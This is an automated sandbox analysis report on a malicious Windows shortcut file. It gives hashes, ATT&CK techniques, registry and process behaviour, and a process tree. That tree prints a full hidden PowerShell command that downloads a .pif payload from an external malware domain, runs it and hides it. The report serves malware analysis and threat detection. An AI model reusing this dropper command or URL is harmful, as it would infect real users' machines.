ee727b982417c3ddc89d37711aa1b1acde817db4a32837a55209a927245497c9

Analysis

max time kernel
143s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
03/05/2024, 10:29

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General

Target

ee727b982417c3ddc89d37711aa1b1acde817db4a32837a55209a927245497c9.lnk
Size

2KB
MD5

cb958910e643b506770ffd61abc0d2dd
SHA1

4d57d11249ea675c01e15d0b40c3b9283e54936b
SHA256

ee727b982417c3ddc89d37711aa1b1acde817db4a32837a55209a927245497c9
SHA512

caa151588a234ffc2c9c87500e49484ad0b5d8b4853e5a2c95e22e29fa8b9712ff66e7c3f66e5db842548dee9237bbbfa2dc527ef2b5ca39eb371b4940603ca2

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://requimacofradian.site/srtyuyussertgsdhsrtehtdyhdrydfkrgfrukydjedyjedeyj/dyirtysthstudfyiufdhsdgfjdfyuikfudfyhsdrwrqerregrytrautrsuy/fsbgfshwtjyehstwyeuysryysiuijdydjyttdtaratrtre/Grtdy.pif

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	1516	pOwErShElL.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1516	pOwErShElL.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000_Classes\Local Settings	pOwErShElL.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1516	pOwErShElL.exe
1516	pOwErShElL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1516	pOwErShElL.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4456	OpenWith.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 452 wrote to memory of 1516	452	cmd.exe	84
PID 452 wrote to memory of 1516	452	cmd.exe	84

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ee727b982417c3ddc89d37711aa1b1acde817db4a32837a55209a927245497c9.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:452
- C:\Windows\System32\WindowsPowerShell\v1.0\pOwErShElL.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\pOwErShElL.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command srms.dat;(new-object System.Net.WebClient).DownloadFile('https://requimacofradian.site/srtyuyussertgsdhsrtehtdyhdrydfkrgfrukydjedyjedeyj/dyirtysthstudfyiufdhsdgfjdfyuikfudfyhsdrwrqerregrytrautrsuy/fsbgfshwtjyehstwyeuysryysiuijdydjyttdtaratrtre/Grtdy.pif','hsetming.pif');./'hsetming.pif';(get-item 'hsetming.pif').Attributes += 'Hidden';
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1516

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ptd524yv.zy1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1516-2-0x00007FFD0AA73000-0x00007FFD0AA75000-memory.dmp

Filesize
8KB

Download
memory/1516-3-0x0000019177520000-0x0000019177542000-memory.dmp

Filesize
136KB

Download
memory/1516-13-0x00007FFD0AA70000-0x00007FFD0B531000-memory.dmp

Filesize
10.8MB

Download
memory/1516-14-0x00007FFD0AA70000-0x00007FFD0B531000-memory.dmp

Filesize
10.8MB

Download
memory/1516-17-0x00007FFD0AA70000-0x00007FFD0B531000-memory.dmp

Filesize
10.8MB

Download